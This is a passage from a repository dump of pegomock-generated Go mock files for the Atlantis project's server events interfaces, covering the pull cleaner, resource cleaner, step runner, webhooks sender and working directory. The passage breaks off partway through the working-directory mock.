VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPullCleaner {\n\treturn &VerifierMockPullCleaner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockPullCleaner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPullCleaner {\n\treturn &VerifierMockPullCleaner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockPullCleaner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPullCleaner {\n\treturn &VerifierMockPullCleaner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockPullCleaner struct {\n\tmock                   *MockPullCleaner\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockPullCleaner) CleanUpPull(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) *MockPullCleaner_CleanUpPull_OngoingVerification {\n\t_params := []pegomock.Param{logger, repo, pull}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"CleanUpPull\", _params, verifier.timeout)\n\treturn &MockPullCleaner_CleanUpPull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockPullCleaner_CleanUpPull_OngoingVerification struct {\n\tmock              *MockPullCleaner\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockPullCleaner_CleanUpPull_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest) {\n\tlogger, repo, pull := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], repo[len(repo)-1], pull[len(pull)-1]\n}\n\nfunc (c *MockPullCleaner_CleanUpPull_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_resource_cleaner.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: ResourceCleaner)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tjobs \"github.com/runatlantis/atlantis/server/jobs\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockResourceCleaner struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockResourceCleaner(options ...pegomock.Option) *MockResourceCleaner {\n\tmock := &MockResourceCleaner{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockResourceCleaner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockResourceCleaner) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockResourceCleaner) CleanUp(pullInfo jobs.PullInfo) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockResourceCleaner().\")\n\t}\n\t_params := []pegomock.Param{pullInfo}\n\tpegomock.GetGenericMockFrom(mock).Invoke(\"CleanUp\", _params, []reflect.Type{})\n}\n\nfunc (mock *MockResourceCleaner) VerifyWasCalledOnce() *VerifierMockResourceCleaner {\n\treturn &VerifierMockResourceCleaner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockResourceCleaner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockResourceCleaner {\n\treturn &VerifierMockResourceCleaner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockResourceCleaner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockResourceCleaner {\n\treturn &VerifierMockResourceCleaner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockResourceCleaner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockResourceCleaner {\n\treturn &VerifierMockResourceCleaner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockResourceCleaner struct {\n\tmock                   *MockResourceCleaner\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockResourceCleaner) CleanUp(pullInfo jobs.PullInfo) *MockResourceCleaner_CleanUp_OngoingVerification {\n\t_params := []pegomock.Param{pullInfo}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"CleanUp\", _params, verifier.timeout)\n\treturn &MockResourceCleaner_CleanUp_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockResourceCleaner_CleanUp_OngoingVerification struct {\n\tmock              *MockResourceCleaner\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockResourceCleaner_CleanUp_OngoingVerification) GetCapturedArguments() jobs.PullInfo {\n\tpullInfo := c.GetAllCapturedArguments()\n\treturn pullInfo[len(pullInfo)-1]\n}\n\nfunc (c *MockResourceCleaner_CleanUp_OngoingVerification) GetAllCapturedArguments() (_param0 []jobs.PullInfo) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]jobs.PullInfo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(jobs.PullInfo)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_step_runner.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: StepRunner)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tcommand \"github.com/runatlantis/atlantis/server/events/command\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockStepRunner struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockStepRunner(options ...pegomock.Option) *MockStepRunner {\n\tmock := &MockStepRunner{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockStepRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockStepRunner) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockStepRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockStepRunner().\")\n\t}\n\t_params := []pegomock.Param{ctx, extraArgs, path, envs}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Run\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockStepRunner) VerifyWasCalledOnce() *VerifierMockStepRunner {\n\treturn &VerifierMockStepRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockStepRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockStepRunner {\n\treturn &VerifierMockStepRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockStepRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockStepRunner {\n\treturn &VerifierMockStepRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockStepRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockStepRunner {\n\treturn &VerifierMockStepRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockStepRunner struct {\n\tmock                   *MockStepRunner\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockStepRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) *MockStepRunner_Run_OngoingVerification {\n\t_params := []pegomock.Param{ctx, extraArgs, path, envs}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Run\", _params, verifier.timeout)\n\treturn &MockStepRunner_Run_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockStepRunner_Run_OngoingVerification struct {\n\tmock              *MockStepRunner\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockStepRunner_Run_OngoingVerification) GetCapturedArguments() (command.ProjectContext, []string, string, map[string]string) {\n\tctx, extraArgs, path, envs := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1], extraArgs[len(extraArgs)-1], path[len(path)-1], envs[len(envs)-1]\n}\n\nfunc (c *MockStepRunner_Run_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 [][]string, _param2 []string, _param3 []map[string]string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]command.ProjectContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(command.ProjectContext)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([][]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.([]string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]map[string]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(map[string]string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_webhooks_sender.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: WebhooksSender)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\twebhooks \"github.com/runatlantis/atlantis/server/events/webhooks\"\n\tlogging \"github.com/runatlantis/atlantis/server/logging\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockWebhooksSender struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockWebhooksSender(options ...pegomock.Option) *MockWebhooksSender {\n\tmock := &MockWebhooksSender{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockWebhooksSender) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockWebhooksSender) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockWebhooksSender) Send(log logging.SimpleLogging, res webhooks.ApplyResult) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockWebhooksSender().\")\n\t}\n\t_params := []pegomock.Param{log, res}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Send\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockWebhooksSender) VerifyWasCalledOnce() *VerifierMockWebhooksSender {\n\treturn &VerifierMockWebhooksSender{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockWebhooksSender) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockWebhooksSender {\n\treturn &VerifierMockWebhooksSender{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockWebhooksSender) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockWebhooksSender {\n\treturn &VerifierMockWebhooksSender{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockWebhooksSender) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockWebhooksSender {\n\treturn &VerifierMockWebhooksSender{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockWebhooksSender struct {\n\tmock                   *MockWebhooksSender\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockWebhooksSender) Send(log logging.SimpleLogging, res webhooks.ApplyResult) *MockWebhooksSender_Send_OngoingVerification {\n\t_params := []pegomock.Param{log, res}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Send\", _params, verifier.timeout)\n\treturn &MockWebhooksSender_Send_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockWebhooksSender_Send_OngoingVerification struct {\n\tmock              *MockWebhooksSender\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockWebhooksSender_Send_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, webhooks.ApplyResult) {\n\tlog, res := c.GetAllCapturedArguments()\n\treturn log[len(log)-1], res[len(res)-1]\n}\n\nfunc (c *MockWebhooksSender_Send_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []webhooks.ApplyResult) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]webhooks.ApplyResult, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(webhooks.ApplyResult)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_working_dir.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: WorkingDir)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tmodels \"github.com/runatlantis/atlantis/server/events/models\"\n\tlogging \"github.com/runatlantis/atlantis/server/logging\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockWorkingDir struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockWorkingDir(options ...pegomock.Option) *MockWorkingDir {\n\tmock := &MockWorkingDir{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockWorkingDir) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockWorkingDir) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockWorkingDir) Clone(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockWorkingDir().\")\n\t}\n\t_params := []pegomock.Param{logger, headRepo, p, workspace}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Clone\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockWorkingDir) Delete(logger logging.SimpleLogging, r models.Repo, p models.PullRequest) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockWorkingDir().\")\n\t}\n\t_params := []pegomock.Param{logger, r, p}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Delete\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockWorkingDir) DeleteForWorkspace(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockWorkingDir().\")\n\t}\n\t_params := []pegomock.Param{logger, r, p, workspace}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"DeleteForWorkspace\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockWorkingDir) DeletePlan(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string, path string, projectName string) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockWorkingDir().\")\n\t}\n\t_params := []pegomock.Param{logger, r, p, workspace, path, projectName}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"DeletePlan\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockWorkingDir) GetGitUntrackedFiles(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) ([]string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockWorkingDir().\")\n\t}\n\t_params := []pegomock.Param{logger, r, p, workspace}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GetGitUntrackedFiles\", _params, []reflect.Type{reflect.TypeOf((*[]string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 []string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].([]string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockWorkingDir) GetPullDir(r models.Repo, p models.PullRequest) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockWorkingDir().\")\n\t}\n\t_params := []pegomock.Param{r, p}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GetPullDir\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockWorkingDir) GetWorkingDir(r models.Repo, p models.PullRequest, workspace string) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockWorkingDir().\")\n\t}\n\t_params := []pegomock.Param{r, p, workspace}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GetWorkingDir\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockWorkingDir) HasDiverged(logger logging.SimpleLogging, cloneDir string) bool {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockWorkingDir().\")\n\t}\n\t_params := []pegomock.Param{logger, cloneDir}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"HasDiverged\", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem()})\n\tvar _ret0 bool\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(bool)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockWorkingDir) MergeAgain(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (bool, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockWorkingDir().\")\n\t}\n\t_params := []pegomock.Param{logger, headRepo, p, workspace}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"MergeAgain\", _params, []reflect.Type{reflect.TypeOf((*bool)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 bool\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(bool)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockWorkingDir) GitReadLock(r models.Repo, p models.PullRequest, workspace string) func() {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockWorkingDir().\")\n\t}\n\t_params := []pegomock.Param{r, p, workspace}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"GitReadLock\", _params, []reflect.Type{reflect.TypeOf((*func())(nil)).Elem()})\n\tvar _ret0 func()\n\tif len(_result) != 0 && _result[0] != nil {\n\t\t_ret0 = _result[0].(func())\n\t}\n\tif _ret0 == nil {\n\t\t_ret0 = func() {}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockWorkingDir) VerifyWasCalledOnce() *VerifierMockWorkingDir {\n\treturn &VerifierMockWorkingDir{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockWorkingDir) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockWorkingDir {\n\treturn &VerifierMockWorkingDir{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockWorkingDir) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockWorkingDir {\n\treturn &VerifierMockWorkingDir{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockWorkingDir) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockWorkingDir {\n\treturn &VerifierMockWorkingDir{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockWorkingDir struct {\n\tmock                   *MockWorkingDir\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockWorkingDir) Clone(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) *MockWorkingDir_Clone_OngoingVerification {\n\t_params := []pegomock.Param{logger, headRepo, p, workspace}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Clone\", _params, verifier.timeout)\n\treturn &MockWorkingDir_Clone_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockWorkingDir_Clone_OngoingVerification struct {\n\tmock              *MockWorkingDir\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockWorkingDir_Clone_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string) {\n\tlogger, headRepo, p, workspace := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], headRepo[len(headRepo)-1], p[len(p)-1], workspace[len(workspace)-1]\n}\n\nfunc (c *MockWorkingDir_Clone_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockWorkingDir) Delete(logger logging.SimpleLogging, r models.Repo, p models.PullRequest) *MockWorkingDir_Delete_OngoingVerification {\n\t_params := []pegomock.Param{logger, r, p}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Delete\", _params, verifier.timeout)\n\treturn &MockWorkingDir_Delete_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockWorkingDir_Delete_OngoingVerification struct {\n\tmock              *MockWorkingDir\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockWorkingDir_Delete_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest) {\n\tlogger, r, p := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], r[len(r)-1], p[len(p)-1]\n}\n\nfunc (c *MockWorkingDir_Delete_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif 